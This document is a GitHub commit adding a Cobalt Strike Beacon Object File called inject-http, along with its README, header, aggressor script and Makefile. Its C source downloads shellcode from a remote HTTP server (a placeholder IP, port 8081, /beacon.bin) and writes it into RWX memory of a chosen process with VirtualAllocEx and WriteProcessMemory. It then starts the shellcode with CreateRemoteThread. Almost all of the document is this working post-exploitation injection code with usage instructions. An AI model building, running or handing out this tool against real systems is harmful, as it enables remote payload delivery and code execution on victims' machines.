Add files via upload

This commit is contained in:
kleiton0x00
2023-06-22 09:17:22 +02:00
committed by GitHub
parent 6b9ee03c05
commit 27cb6985fb
5 changed files with 316 additions and 0 deletions
+18
View File
@@ -0,0 +1,18 @@
# Inject-http BOF
A custom `inject` function of Cobalt Strike, which injects the shellcode in a process by retrieving the shellcode from a remote HTTP server.
## Usage
Compile the script using `make`.
```
make
```
Then load `inject-http.cna` to Cobalt Strike. To run the BOF inside a Beacon:
```
beacon> inject-http <pid>
```
## Demo
![wmi_in_action](https://github.com/kleiton0x00/RemoteShellcodeExec/assets/37262788/abc3b752-647f-4262-8fab-cedf631d4dda)
+70
View File
@@ -0,0 +1,70 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+174
View File
@@ -0,0 +1,174 @@
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#include "beacon.h"
DWORD calcBuff(DWORD buffSize, DWORD dwSize) {
buffSize += dwSize;
return buffSize;
}
LPVOID decrementBuffer(LPVOID pBuffer, DWORD dwSize) {
LPBYTE pByte = (LPBYTE)pBuffer;
pByte -= dwSize;
LPVOID pNewBuffer = (LPVOID)pByte;
return pNewBuffer;
}
LPVOID incrementBuffer(LPVOID pBuffer, unsigned long buffer) {
LPBYTE pByte = (LPBYTE)pBuffer;
pByte += buffer;
LPVOID pNewBuffer = (LPVOID)pByte;
return pNewBuffer;
}
//Function declarations
DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);
WINBASEAPI void *__cdecl MSVCRT$free(void *memblock);
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)
DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpen(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags);
DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpenRequest(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpSendRequest(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryDataAvailable(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpConnect(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex);
DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpCloseHandle(HINTERNET hInternet);
//https://learn.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpconnect
/* entry point */
void go(char * args, int length) {
datap parser;
int pid;
BeaconDataParse(&parser, args, length);
pid = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Injecting to PID: %d\n", pid); //WEIRD ERROR ON RETRIEVING THE PID
//--------- CONFIGURE -----------
LPCWSTR remotehost = L"192.168.0.x"; //change to your IP
int remoteport = 8081; //change to your port
LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file
//-------------------------------
// Initialize variables
LPVOID pBuffer;
DWORD buffSize;
LPVOID lpvAddr = 0;
HINTERNET hInternet;
HINTERNET hHttpSession;
HINTERNET hHttpConnection;
HINTERNET hHttpRequest;
DWORD dwSize;
BOOL bResults;
DWORD dwStatus;
DWORD dwStatusSize;
DWORD dwDownloaded = 0;
DWORD dwContentLength = 0;
char* pszOutBuffer;
// Initialize WinHTTP (change the first argument to a valid User-Agent instead)
hInternet = WINHTTP$WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
BeaconPrintf(CALLBACK_OUTPUT, "[+] WinHTTP initialized\n");
// Connect to the HTTP server
hHttpSession = WINHTTP$WinHttpConnect(hInternet, remotehost, remoteport, 0);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Connected to HTTP Server\n");
// Open an HTTP request
hHttpRequest = WINHTTP$WinHttpOpenRequest(hHttpSession, L"GET", remotedir, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
BeaconPrintf(CALLBACK_OUTPUT, "Sending HTTP GET Request\n");
// Send a request
bResults = WINHTTP$WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
BeaconPrintf(CALLBACK_OUTPUT, "WinHTTP request sent\n");
// Wait for the response
bResults = WINHTTP$WinHttpReceiveResponse(hHttpRequest, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Response retrieved\n");
// Get the Length of the response.
if (bResults)
{
DWORD dwHeaderSize = sizeof(DWORD);
bResults = WINHTTP$WinHttpQueryHeaders(hHttpRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwHeaderSize, WINHTTP_NO_HEADER_INDEX);
}
HANDLE processHandle = KERNEL32$OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE,
(DWORD)pid
);
pBuffer = KERNEL32$VirtualAllocEx(processHandle, NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BeaconPrintf(CALLBACK_OUTPUT, "Buffer: %p\n", pBuffer);
do
{
dwSize = 0;
if (!WINHTTP$WinHttpQueryDataAvailable(hHttpRequest, &dwSize))
{
BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpQueryDataAvailable.\n");
}
// Allocate space for the buffer.
//pszOutBuffer = new char[dwSize + 1];
//this is the C version
pszOutBuffer = (char*)MSVCRT$malloc(dwSize + 1);
// No more available data
if (!pszOutBuffer) {
BeaconPrintf(CALLBACK_OUTPUT, "[-] No more available data");
dwSize = 0;
}
// Read the Data.
intZeroMemory(pszOutBuffer, dwSize + 1);
if (!WINHTTP$WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpReadData.\n");
else
// Copy the shellcode into it.
KERNEL32$WriteProcessMemory(processHandle, pBuffer, (PVOID)pszOutBuffer, (SIZE_T)dwSize, (SIZE_T *)NULL);
pBuffer = incrementBuffer(pBuffer, dwSize);
buffSize = calcBuff(buffSize, dwSize);
// Free the memory allocated to the buffer.
//uncommented since it's a C++ thingy
//delete[] pszOutBuffer;
MSVCRT$free(pszOutBuffer);
} while (dwSize > 0);
pBuffer = decrementBuffer(pBuffer, buffSize);
//Callback function to launch a thread on the buffer address
KERNEL32$CreateRemoteThread(processHandle, NULL, 0, pBuffer, NULL, 0, NULL);
//USER32$MessageBoxA(NULL, "4", "1", 0);
// Close the HTTP request
WINHTTP$WinHttpCloseHandle(hHttpRequest);
// Close the session
WINHTTP$WinHttpCloseHandle(hHttpSession);
// Cleanup
WINHTTP$WinHttpCloseHandle(hInternet);
}
+44
View File
@@ -0,0 +1,44 @@
# Register help/usage for inject-http
beacon_command_register(
"RemoteShellcodeExec",
"RemoteShellcodeExec: Retrieving payload over HTTP and injecting it in a remote process.",
"\nUsage: inject-http PID\n".
"\ncThreadHijack works by injecting raw Beacon shellcode which is retrieved by a remote HTTP server, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, spawn a new remote thread via CreateRemoteThread".
"\nExample usage: inject-http 3564\n"
);
alias inject-http {
# Alias for Beacon ID and args
local('$bid $listener $pid');
# Set the number of arguments
($bid, $pid) = @_;
# Determine the amount of arguments
if (size(@_) != 2)
{
berror($bid, "Error! Please enter a valid PID");
return;
}
# Read in the BOF
$handle = openf(script_resource("inject-http.o"));
$data = readb($handle, -1);
closef($handle);
# Verify PID is an integer
if ((!-isnumber $pid) || (int($pid) <= 0))
{
berror($bid, "Please enter a valid PID!\n");
return;
}
# Pack the arguments
# 'i' is an integer
$args = bof_pack($bid, "i", $pid);
# Run the BOF
# go = Entry point of the BOF
beacon_inline_execute($bid, $data, "go", $args);
}
+10
View File
@@ -0,0 +1,10 @@
CCX64 := x86_64-w64-mingw32-gcc
CCX86 := i686-w64-mingw32-gcc
OUTX64 := inject-http.o
all: x64
x64:
@ echo Compiling the BOF...
@ $(CCX64) -c inject-http.c -o $(OUTX64)